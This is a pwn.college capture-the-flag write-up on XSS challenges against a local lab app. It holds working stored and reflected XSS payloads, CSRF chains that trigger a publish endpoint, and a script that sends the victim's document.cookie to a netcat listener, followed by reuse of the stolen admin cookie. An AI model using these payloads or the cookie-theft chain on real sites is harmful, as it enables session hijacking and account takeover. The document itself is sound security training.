PwnCollege - XSS

stored xss

xss 1

1
curl -X POST "http://challenge.localhost:80/" -d "content=<input type='text'>"

xss 2

inject <script> via stored post, then trigger with /challenge/victim (headless Firefox).

1
2
curl -X POST "http://challenge.localhost:80/" -d 'content="><script>alert(1)</script>'
/challenge/victim

reflected xss

xss 3

msg is reflected directly into the page body:

1
2
The message:
{flask.request.args.get("msg", "(none)")}
1
/challenge/victim "http://challenge.localhost:80/?msg=<script>alert(1)</script>"

xss 4

msg is reflected inside a <textarea>, break out first:

1
<textarea name=msg>{flask.request.args.get("msg", "Type your message here!")}</textarea>
1
/challenge/victim "http://challenge.localhost:80/?msg=</textarea><script>alert(1)</script><textarea>"

xss 5 - stored XSS + CSRF (GET publish)

admin’s unpublished draft contains the flag. published posts render raw HTML. /publish is GET.

1
2
3
@app.route("/publish", methods=["GET"])
def challenge_publish():
db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [flask.session.get("username")])

login as hacker, store XSS that makes admin’s browser call /publish, which publishes admin’s flag draft:

1
2
3
4
5
curl -c cookie.txt -X POST http://challenge.localhost:80/login -d "username=hacker&password=1337"
curl -b cookie.txt -X POST http://challenge.localhost:80/draft \
-d "content=<script>fetch('/publish')</script>&publish=on"
/challenge/victim
curl -b cookie.txt "http://challenge.localhost:80/"

xss 6 - stored XSS + CSRF (POST publish)

same as xss 5, but /publish is now POST:

1
2
3
@app.route("/publish", methods=["POST"])
def challenge_publish():
db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [username])
1
2
3
4
5
curl -c cookie.txt -X POST http://challenge.localhost:80/login -d "username=hacker&password=1337"
curl -b cookie.txt -X POST http://challenge.localhost:80/draft \
-d "content=<script>fetch('/publish', {method: 'POST'})</script>&publish=on"
/challenge/victim
curl -b cookie.txt "http://challenge.localhost:80/"

key differences from xss 5/6:

  • auth is cookie-based: auth=username|password (not flask.session)
  • admin password = flag[-20:] (truncated flag)
  • admin is blocked from posting/publishing
  • drafts are visible to their own author
1
2
3
4
5
6
7
8
9
response.set_cookie("auth", username + "|" + password)

# admin blocked
if username == "admin":
flask.abort(400, "pwnpost no longer supports admin posting due to rampant flag disclosure")

# drafts visible to author
elif post["author"] == username:
page += "<b>YOUR DRAFT POST:</b> " + post["content"] + "<hr>\n"

since admin can’t publish, steal the cookie instead and log in as admin to view the draft:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. login as hacker, store XSS that exfiltrates document.cookie
curl -c cookie.txt -X POST http://challenge.localhost:80/login -d "username=hacker&password=1337"
curl -b cookie.txt -X POST http://challenge.localhost:80/draft \
-d "content=<script>fetch('http://localhost:1337/', {method: 'POST', body: document.cookie})</script>&publish=on"

# 2. listen for stolen cookie
nc -l -p 1337 &

# 3. trigger victim (admin) to visit the page
/challenge/victim
# received: auth=admin|RT.dJDO1YDL4cjM1gzW}

# 4. use stolen cookie to view as admin
curl --cookie "auth=admin|RT.dJDO1YDL4cjM1gzW}" "http://challenge.localhost:80/"